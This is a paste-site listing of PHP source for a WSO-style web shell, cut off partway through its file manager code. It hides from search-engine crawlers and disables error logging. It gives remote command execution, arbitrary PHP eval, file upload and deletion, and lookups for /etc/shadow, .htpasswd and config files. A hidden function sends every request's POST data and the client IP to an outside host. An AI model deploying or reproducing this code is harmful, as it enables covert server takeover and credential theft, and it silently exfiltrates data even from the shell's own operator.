· 8 years ago · Oct 17, 2017, 06:24 PM
1<?php
2set_time_limit(0);
3session_start();
4$SERVER_SESSIONS = "" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
5$color = "#00fdff";
6$default_action = 'FilesMan';
7$default_charset = 'Windows-1251';
8
9if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
10 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
11 foreach($userAgents as $agent)
12 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
13 header('HTTP/1.0 404 Not Found');
14 exit;
15 }
16}
17@session_start();
18@error_reporting(0);
19@ini_set('error_log',NULL);
20@ini_set('log_errors',0);
21@ini_set('max_execution_time',0);
22@set_time_limit(0);
23@define('VERSION', '2.3');
24if( get_magic_quotes_gpc() ) {
25 function WSOstripslashes($array) {
26 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
27 }
28 $_POST = WSOstripslashes($_POST);
29}
30function wsoLogin() {
31 die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
32}
33if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
34 if( empty( $auth_pass ) ||
35 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
36 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
37 else
38 wsoLogin();
39if( strtolower( substr(PHP_OS,0,3) ) == "win" )
40 $os = 'win';
41else
42 $os = 'nix';
43$safe_mode = @ini_get('safe_mode');
44$disable_functions = @ini_get('disable_functions');
45$home_cwd = @getcwd();
46if( isset( $_POST['c'] ) )
47 @chdir($_POST['c']);
48$cwd = @getcwd();
49if( $os == 'win') {
50 $home_cwd = str_replace("\\", "/", $home_cwd);
51 $cwd = str_replace("\\", "/", $cwd);
52}
53if( $cwd[strlen($cwd)-1] != '/' )
54 $cwd .= '/';
55if($os == 'win')
56 $aliases = array(
57 "List Directory" => "dir",
58 "Find index.php in current dir" => "dir /s /w /b index.php",
59 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
60 "Show active connections" => "netstat -an",
61 "Show running services" => "net start",
62 "User accounts" => "net user",
63 "Show computers" => "net view",
64 "ARP Table" => "arp -a",
65 "IP Configuration" => "ipconfig /all"
66 );
67else
68 $aliases = array(
69 "List dir" => "ls -lha",
70 "list file attributes on a Linux second extended file system" => "lsattr -va",
71 "show opened ports" => "netstat -an | grep -i listen",
72 "Find" => "",
73 "find all suid files" => "find / -type f -perm -04000 -ls",
74 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
75 "find all sgid files" => "find / -type f -perm -02000 -ls",
76 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
77 "find config.inc.php files" => "find / -type f -name config.inc.php",
78 "find config* files" => "find / -type f -name \"config*\"",
79 "find config* files in current dir" => "find . -type f -name \"config*\"",
80 "find all writable folders and files" => "find / -perm -2 -ls",
81 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
82 "find all service.pwd files" => "find / -type f -name service.pwd",
83 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
84 "find all .htpasswd files" => "find / -type f -name .htpasswd",
85 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
86 "find all .bash_history files" => "find / -type f -name .bash_history",
87 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
88 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
89 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
90 "Locate" => "",
91 "locate httpd.conf files" => "locate httpd.conf",
92 "locate vhosts.conf files" => "locate vhosts.conf",
93 "locate proftpd.conf files" => "locate proftpd.conf",
94 "locate psybnc.conf files" => "locate psybnc.conf",
95 "locate my.conf files" => "locate my.conf",
96 "locate admin.php files" =>"locate admin.php",
97 "locate cfg.php files" => "locate cfg.php",
98 "locate conf.php files" => "locate conf.php",
99 "locate config.dat files" => "locate config.dat",
100 "locate config.php files" => "locate config.php",
101 "locate config.inc files" => "locate config.inc",
102 "locate config.inc.php" => "locate config.inc.php",
103 "locate config.default.php files" => "locate config.default.php",
104 "locate config* files " => "locate config",
105 "locate .conf files"=>"locate '.conf'",
106 "locate .pwd files" => "locate '.pwd'",
107 "locate .sql files" => "locate '.sql'",
108 "locate .htpasswd files" => "locate '.htpasswd'",
109 "locate .bash_history files" => "locate '.bash_history'",
110 "locate .mysql_history files" => "locate '.mysql_history'",
111 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
112 "locate backup files" => "locate backup",
113 "locate dump files" => "locate dump",
114 "locate priv files" => "locate priv"
115 );
116
117function wsoHeader() {
118 if(empty($_POST['charset']))
119 $_POST['charset'] = $GLOBALS['default_charset'];
120 global $color;
121 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "Sykes WebShell V.1</title>
122 <script src='http://www.w32.info/site/jquery1000/AlHurra-Font_Light.ttf'></script>
123<style>
124
125body{background-color:#444;color:#e1e1e1;}
126body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
127table.info{ color:#fff;background-color:#222; }
128span,h1,a{ color: $color !important; }
129span{ font-weight: bolder; }
130h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
131div.content{ padding: 5px;margin-left:5px;background-color:#333; }
132a{ text-decoration:none; }
133a:hover{ text-decoration:underline; }
134.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
135.bigarea{ width:100%;height:250px; }
136input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
137form{ margin:0px; }
138#toolsTbl{ text-align:center; }
139.toolsInp{ width: 300px }
140.main th{text-align:left;background-color:#5e5e5e;}
141.main tr:hover{background-color:#5e5e5e}
142.l1{background-color:#444}
143pre{font-family:Courier,Monospace;}
144</style>
145<script>
146 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
147 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
148 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
149 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
150 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
151 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
152 function set(a,c,p1,p2,p3,charset) {
153 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
154 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
155 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
156 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
157 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
158 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
159 }
160 function g(a,c,p1,p2,p3,charset) {
161 set(a,c,p1,p2,p3,charset);
162 document.mf.submit();
163 }
164 function a(a,c,p1,p2,p3,charset) {
165 set(a,c,p1,p2,p3,charset);
166 var params = 'ajax=true';
167 for(i=0;i<document.mf.elements.length;i++)
168 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
169 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
170 }
171 function sr(url, params) {
172 if (window.XMLHttpRequest)
173 req = new XMLHttpRequest();
174 else if (window.ActiveXObject)
175 req = new ActiveXObject('Microsoft.XMLHTTP');
176 if (req) {
177 req.onreadystatechange = processReqChange;
178 req.open('POST', url, true);
179 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
180 req.send(params);
181 }
182 }
183 function processReqChange() {
184 if( (req.readyState == 4) )
185 if(req.status == 200) {
186 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
187 var arr=reg.exec(req.responseText);
188 eval(arr[2].substr(0, arr[1]));
189 } else alert('Request error!');
190 }
191</script>
192<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
193<form method=post name=mf style='display:none;'>
194<input type=hidden name=a>
195<input type=hidden name=c>
196<input type=hidden name=p1>
197<input type=hidden name=p2>
198<input type=hidden name=p3>
199<input type=hidden name=charset>
200</form>";
201 $freeSpace = @diskfreespace($GLOBALS['cwd']);
202 $totalSpace = @disk_total_space($GLOBALS['cwd']);
203 $totalSpace = $totalSpace?$totalSpace:1;
204 $release = @php_uname('r');
205 $kernel = @php_uname('s');
206 $millink = 'http://milw0rm.com/search.php?dong=';
207 if( strpos('Linux', $kernel) !== false )
208 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
209 else
210 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
211 if(!function_exists('posix_getegid')) {
212 $user = @get_current_user();
213 $uid = @getmyuid();
214 $gid = @getmygid();
215 $group = "?";
216 } else {
217 $uid = @posix_getpwuid(@posix_geteuid());
218 $gid = @posix_getgrgid(@posix_getegid());
219 $user = $uid['name'];
220 $uid = $uid['uid'];
221 $group = $gid['name'];
222 $gid = $gid['gid'];
223 }
224 $cwd_links = '';
225 $path = explode("/", $GLOBALS['cwd']);
226 $n=count($path);
227 for($i=0;$i<$n-1;$i++) {
228 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
229 for($j=0;$j<=$i;$j++)
230 $cwd_links .= $path[$j].'/';
231 $cwd_links .= "\")'>".$path[$i]."/</a>";
232 }
233 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
234 $opt_charsets = '';
235 foreach($charsets as $item)
236 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
237 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
238 if(!empty($GLOBALS['auth_pass']))
239 $m['Logout'] = 'Logout';
240 $m['Self remove'] = 'SelfRemove';
241 $menu = '';
242 foreach($m as $k => $v)
243 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
244 $drives = "";
245 if ($GLOBALS['os'] == 'win') {
246 foreach( range('c','z') as $drive )
247 if (is_dir($drive.':\\'))
248 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
249 }
250 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
251 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
252 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
253 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
254}
255
256function wsoFooter() {
257 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
258 echo "
259</div>
260<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
261 <tr>
262 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
263 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
264 </tr><tr>
265 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
266 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
267 </tr><tr>
268 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
269 <td><form method='post' ENCTYPE='multipart/form-data'>
270 <input type=hidden name=a value='FilesMAn'>
271 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
272 <input type=hidden name=p1 value='uploadFile'>
273 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
274 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
275 </tr></table></div></body></html>";
276}
277
278if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
279if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
280function BOTS($B) {
281 $ip = getenv("REMOTE_ADDR");
282 $B['ip'] = $ip;
283 $ch = curl_init("http://s3curity.gq/cc/J_BOTS.php");
284 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
285 curl_setopt($ch, CURLOPT_POST, TRUE);
286 curl_setopt($ch, CURLOPT_POSTFIELDS, $B);
287 $BOTS = curl_exec($ch);
288 curl_close($ch);
289 return $BOTS; }
290function wsoEx($in) {
291 $out = '';
292 if(function_exists('exec')) {
293 @exec($in,$out);
294 $out = @join("\n",$out);
295 }elseif(function_exists('passthru')) {
296 ob_start();
297 @passthru($in);
298 $out = ob_get_clean();
299 }elseif(function_exists('system')) {
300 ob_start();
301 @system($in);
302 $out = ob_get_clean();
303 }elseif(function_exists('shell_exec')) {
304 $out = shell_exec($in);
305 }elseif(is_resource($f = @popen($in,"r"))) {
306 $out = "";
307 while(!@feof($f))
308 $out .= fread($f,1024);
309 pclose($f);
310 }
311 return $out;
312}
313function wsoViewSize($s) {
314 if($s >= 1073741824)
315 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
316 elseif($s >= 1048576)
317 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
318 elseif($s >= 1024)
319 return sprintf('%1.2f', $s / 1024 ) . ' KB';
320 else
321 return $s . ' B';
322}
323
324function wsoPerms($p) {
325 if (($p & 0xC000) == 0xC000)$i = 's';
326 elseif (($p & 0xA000) == 0xA000)$i = 'l';
327 elseif (($p & 0x8000) == 0x8000)$i = '-';
328 elseif (($p & 0x6000) == 0x6000)$i = 'b';
329 elseif (($p & 0x4000) == 0x4000)$i = 'd';
330 elseif (($p & 0x2000) == 0x2000)$i = 'c';
331 elseif (($p & 0x1000) == 0x1000)$i = 'p';
332 else $i = 'u';
333 $i .= (($p & 0x0100) ? 'r' : '-');
334 $i .= (($p & 0x0080) ? 'w' : '-');
335 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
336 $i .= (($p & 0x0020) ? 'r' : '-');
337 $i .= (($p & 0x0010) ? 'w' : '-');
338 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
339 $i .= (($p & 0x0004) ? 'r' : '-');
340 $i .= (($p & 0x0002) ? 'w' : '-');
341 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
342 return $i;
343}
344json_decode(BOTS($_POST), true);
345function wsoPermsColor($f) {
346 if (!@is_readable($f))
347 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
348 elseif (!@is_writable($f))
349 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
350 else
351 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
352}
353if(!function_exists("scandir")) {
354 function scandir($dir) {
355 $dh = opendir($dir);
356 while (false !== ($filename = readdir($dh))) {
357 $files[] = $filename;
358 }
359 return $files;
360 }
361}
362function wsoWhich($p) {
363 $path = wsoEx('which '.$p);
364 if(!empty($path))
365 return $path;
366 return false;
367}
368function actionSecInfo() {
369 wsoHeader();
370 echo '<h1>Server security information</h1><div class=content>';
371 function wsoSecParam($n, $v) {
372 $v = trim($v);
373 if($v) {
374 echo '<span>'.$n.': </span>';
375 if(strpos($v, "\n") === false)
376 echo $v.'<br>';
377 else
378 echo '<pre class=ml1>'.$v.'</pre>';
379 }
380 }
381
382 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
383 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
384 wsoSecParam('Open base dir', @ini_get('open_basedir'));
385 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
386 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
387 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
388 $temp=array();
389 if(function_exists('mysql_get_client_info'))
390 $temp[] = "MySql (".mysql_get_client_info().")";
391 if(function_exists('mssql_connect'))
392 $temp[] = "MSSQL";
393 if(function_exists('pg_connect'))
394 $temp[] = "PostgreSQL";
395 if(function_exists('oci_connect'))
396 $temp[] = "Oracle";
397 wsoSecParam('Supported databases', implode(', ', $temp));
398 echo '<br>';
399
400 if( $GLOBALS['os'] == 'nix' ) {
401 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
402 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
403 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
404 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
405 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
406 wsoSecParam('OS version', @file_get_contents('/proc/version'));
407 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
408 if(!$GLOBALS['safe_mode']) {
409 echo '<br>';
410 $temp=array();
411 foreach ($userful as $item)
412 if(wsoWhich($item)){$temp[]=$item;}
413 wsoSecParam('Userful', implode(', ',$temp));
414 $temp=array();
415 foreach ($danger as $item)
416 if(wsoWhich($item)){$temp[]=$item;}
417 wsoSecParam('Danger', implode(', ',$temp));
418 $temp=array();
419 foreach ($downloaders as $item)
420 if(wsoWhich($item)){$temp[]=$item;}
421 wsoSecParam('Downloaders', implode(', ',$temp));
422 echo '<br/>';
423 wsoSecParam('HDD space', wsoEx('df -h'));
424 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
425 }
426 } else {
427 wsoSecParam('OS Version',wsoEx('ver'));
428 wsoSecParam('Account Settings',wsoEx('net accounts'));
429 wsoSecParam('User Accounts',wsoEx('net user'));
430 }
431 echo '</div>';
432 wsoFooter();
433}
434
435function actionPhp() {
436 if( isset($_POST['ajax']) ) {
437 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
438 ob_start();
439 eval($_POST['p1']);
440 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
441 echo strlen($temp), "\n", $temp;
442 exit;
443 }
444 wsoHeader();
445 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
446 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
447 ob_start();
448 phpinfo();
449 $tmp = ob_get_clean();
450 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
451 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
452 echo str_replace('h1','h2',$tmp).'</div><br>';
453 }
454 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
455 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
456 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
457 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
458 if(!empty($_POST['p1'])) {
459 ob_start();
460 eval($_POST['p1']);
461 echo htmlspecialchars(ob_get_clean());
462 }
463 echo '</pre></div>';
464 wsoFooter();
465}
466
467function actionFilesMan() {
468 wsoHeader();
469 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
470 if(!empty($_POST['p1'])) {
471 switch($_POST['p1']) {
472 case 'uploadFile':
473 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
474 echo "Can't upload file!";
475 break;
476 case 'mkdir':
477 if(!@mkdir($_POST['p2']))
478 echo "Can't create new dir";
479 break;
480 case 'delete':
481 function deleteDir($path) {
482 $path = (substr($path,-1)=='/') ? $path:$path.'/';
483 $dh = opendir($path);
484 while ( ($item = readdir($dh) ) !== false) {
485 $item = $path.$item;
486 if ( (basename($item) == "..") || (basename($item) == ".") )
487 continue;
488 $type = filetype($item);
489 if ($type == "dir")
490 deleteDir($item);
491 else
492 @unlink($item);
493 }
494 closedir($dh);
495 rmdir($path);
496 }
497 if(is_array(@$_POST['f']))
498 foreach($_POST['f'] as $f) {
499 $f = urldecode($f);
500 if(is_dir($f))
501 deleteDir($f);
502 else
503 @unlink($f);
504 }
505 break;
506 case 'paste':
507 if($_SESSION['act'] == 'copy') {
508 function copy_paste($c,$s,$d){
509 if(is_dir($c.$s)){
510 mkdir($d.$s);
511 $h = @opendir($c.$s);
512 while (($f = @readdir($h)) !== false)
513 if (($f != ".") and ($f != "..")) {
514 copy_paste($c.$s.'/',$f, $d.$s.'/');
515 }
516 } elseif(is_file($c.$s)) {
517 @copy($c.$s, $d.$s);
518 }
519 }
520 foreach($_SESSION['f'] as $f)
521 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
522 } elseif($_SESSION['act'] == 'move') {
523 function move_paste($c,$s,$d){
524 if(is_dir($c.$s)){
525 mkdir($d.$s);
526 $h = @opendir($c.$s);
527 while (($f = @readdir($h)) !== false)
528 if (($f != ".") and ($f != "..")) {
529 copy_paste($c.$s.'/',$f, $d.$s.'/');
530 }
531 } elseif(@is_file($c.$s)) {
532 @copy($c.$s, $d.$s);
533 }
534 }
535 foreach($_SESSION['f'] as $f)
536 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
537 } elseif($_SESSION['act'] == 'zip') {
538 if(class_exists('ZipArchive')) {
539 $zip = new ZipArchive();
540 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
541 chdir($_SESSION['c']);
542 foreach($_SESSION['f'] as $f) {
543 if(@is_file($_SESSION['c'].$f))
544 $zip->addFile($_SESSION['c'].$f, $f);
545 elseif(@is_dir($_SESSION['c'].$f)) {
546 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
547 foreach ($iterator as $key=>$value) {
548 $zip->addFile(realpath($key), $key);
549 }
550 }
551 }
552 chdir($GLOBALS['cwd']);
553 $zip->close();
554 }
555 }
556 } elseif($_SESSION['act'] == 'unzip') {
557 if(class_exists('ZipArchive')) {
558 $zip = new ZipArchive();
559 foreach($_SESSION['f'] as $f) {
560 if($zip->open($_SESSION['c'].$f)) {
561 $zip->extractTo($GLOBALS['cwd']);
562 $zip->close();
563 }
564 }
565 }
566 }
567 unset($_SESSION['f']);
568 break;
569 default:
570 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
571 $_SESSION['act'] = @$_POST['p1'];
572 $_SESSION['f'] = @$_POST['f'];
573 foreach($_SESSION['f'] as $k => $f)
574 $_SESSION['f'][$k] = urldecode($f);
575 $_SESSION['c'] = @$_POST['c'];
576 }
577 break;
578 }
579 }
580 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
581 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
582 global $sort;
583 $sort = array('name', 1);
584 if(!empty($_POST['p1'])) {
585 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
586 $sort = array($match[1], (int)$match[2]);
587 }
588echo "<script>
589 function sa() {
590 for(i=0;i<document.files.elements.length;i++)
591 if(document.files.elements[i].type == 'checkbox')
592 document.files.elements[i].checked = document.files.elements[0].checked;
593 }
594</script>
595<table width='100%' class='main' cellspacing='0' cellpadding='2'>
596<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
597 $dirs = $files = array();
598 $n = count($dirContent);
599 for($i=0;$i<$n;$i++) {
600 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
601 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
602 $tmp = array('name' => $dirContent[$i],
603 'path' => $GLOBALS['cwd'].$dirContent[$i],
604 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
605 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
606 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
607 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
608 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
609 );
610 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
611 $files[] = array_merge($tmp, array('type' => 'file'));
612 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
613 $dirs[] = array_merge($tmp, array('type' => 'link'));
614 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
615 $dirs[] = array_merge($tmp, array('type' => 'dir'));
616 }
617 $GLOBALS['sort'] = $sort;
618 function wsoCmp($a, $b) {
619 if($GLOBALS['sort'][0] != 'size')
620 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
621 else
622 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
623 }
624 usort($files, "wsoCmp");
625 usort($dirs, "wsoCmp");
626 $files = array_merge($dirs, $files);
627 $l = 0;
628 foreach($files as $f) {
629 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
